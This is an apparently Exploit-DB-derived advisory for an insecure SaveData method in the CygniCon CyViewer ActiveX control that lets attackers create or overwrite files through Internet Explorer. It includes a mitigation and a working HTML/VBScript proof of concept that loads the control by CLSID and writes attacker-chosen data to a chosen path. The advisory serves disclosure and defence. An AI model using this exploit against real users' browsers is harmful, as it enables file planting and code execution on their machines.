CygniCon CyViewer ActiveX Control Insecure Method Vulnerability

vendor:

CyViewer

by:

7.5

CVSS

HIGH

Insecure Method

284

CWE

Product Name: CyViewer

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

CygniCon CyViewer ActiveX Control Insecure Method Vulnerability

The CygniCon CyViewer ActiveX control is prone to a vulnerability caused by an insecure method. Successfully exploiting this issue will allow attackers to create or overwrite files within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Attackers may execute arbitrary code with user-level privileges.

Mitigation:

It is recommended to disable the affected ActiveX control or restrict its usage to trusted sites only.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/48483/info

CygniCon CyViewer ActiveX control is prone to a vulnerability caused by an insecure method.

Successfully exploiting this issue will allow attackers to create or overwrite files within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Attackers may execute arbitrary code with user-level privileges. 

<html>
<object classid='clsid:A6FC2988-16BE-4053-BE89-F562431FD6ED' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\Filename_to_create"
arg2="Data"
target.SaveData arg1 ,arg2
End Sub

</script>
</html>